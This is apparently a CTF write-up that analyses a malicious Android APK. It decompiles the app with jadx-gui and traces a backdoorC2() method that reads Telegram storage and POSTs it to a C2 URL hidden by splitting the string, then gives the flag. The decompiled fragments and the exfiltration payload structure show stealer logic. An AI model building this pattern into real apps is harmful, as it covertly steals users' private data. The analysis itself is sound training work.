Liga CTF 2026: Find the C2 Server
Description
This APK file is malicious. It secretly talks to a C2 Server. Identify the C2 Server address, and find the flag.
Recon
An APK is just a ZIP file under the hood. We can load it straight into jadx-gui for full Java/Kotlin decompilation:
1
jadx-gui malapk.apk
Navigate to com/example/protonx1337/MainActivity in the source tree.
Finding the Suspicious Method
Right in the @Metadata annotation and the onCreate() body, we spot something immediately:
jadx-gui decompiled MainActivity — backdoorC2() called on startup
Two things stand out:
- The
@Metadataannotation leaks method names including"backdoorC2" onCreate()callsbackdoorC2()directly — meaning it runs on every app launch
Analyzing backdoorC2()
Clicking into backdoorC2() reveals the full malicious logic:
backdoorC2() — C2 URL split across two variables to evade detection
Key observations from the decompiled code:
1
2
3
4
5
6
7
8
9
10
11
12
// targets Telegram local storage
File baseTelegramDir = new File(MainActivity.this.getExternalFilesDir(null), ...);
File targetFile = new File(baseTelegramDir, ...);
// C2 URL split into two parts — obfuscation technique!
String d1 = LiveLiterals$MainActivityKt.INSTANCE.m5425x506ff06();
String d2 = LiveLiterals$MainActivityKt.INSTANCE.m5426xcc12e607();
URLConnection = new URL(d1 + d2).openConnection();
// exfiltrates stolen data via HTTP POST
connection.setRequestMethod(...); // POST
os.write(telemetryPayload);
This malware:
- Reads Telegram’s local file storage
- Sends stolen data to a C2 server via HTTP POST
- Hides the C2 URL by splitting it across two separate method calls
Tracing the C2 URL
The URL is stored in LiveLiterals$MainActivityKt static fields. The getter methods confirm:
1
2
3
4
5
6
7
8
9
10
11
public final String m5425x506ff06() {
if (!LiveLiteralKt.isLiveLiteralsEnabled()) {
return f98x506ff06; // ← returns static field directly
}
}
public final String m5426xcc12e607() {
if (!LiveLiteralKt.isLiveLiteralsEnabled()) {
return f99xcc12e607; // ← returns static field directly
}
}
Navigating to the static field declarations in the same class:
1
2
3
4
5
/* renamed from: String$val-d1... */
private static String f98x506ff06 = "https://appsecmy.com/";
/* renamed from: String$val-d2... */
private static String f99xcc12e607 = "pages/liga-ctf-2026";
Full C2 URL:
1
https://appsecmy.com/pages/liga-ctf-2026
Getting the Flag
Visiting the C2 URL in a browser will lead to appsecmy website with details of this ctf, but curl reveals the flag hidden in the HTML source comments:
1
curl https://appsecmy.com/pages/liga-ctf-2026
The flag is buried inside <!-- ... --> HTML comment tags in the response body.
Flag
OWASPKL{https://chat.whatsapp.com/KAdpus4R0pb895ulC2jo8p}
Additional Info
What This Malware Actually Does
This APK is a full Telegram data stealer:
1
2
3
4
5
6
7
8
9
// Exfiltrated JSON payload structure:
{
"device_id": "84a7b93f-1d4e-4f7b-952c-7b83aece9910",
"os_version": "Android 14",
"app_version": "1.0.0",
"status": "active",
"session_id": "s_9f82kdj48",
"exfiltrated_data": "<telegram file contents>"
}
All of this gets POST’d to the C2 server silently on every app launch.
Lesson Learned
- APKs are ZIP files — jadx-gui is all you need to decompile them
- Split string obfuscation (
d1 + d2) is a common trick to hide C2 addresses from simple string grep - Trace
LiveLiteralsclasses in Kotlin apps — they hold the actual hardcoded values curlbeats a browser when hunting for flags in HTML comments- Method names in
@Metadataannotations leak the entire class structure even before reading function bodies

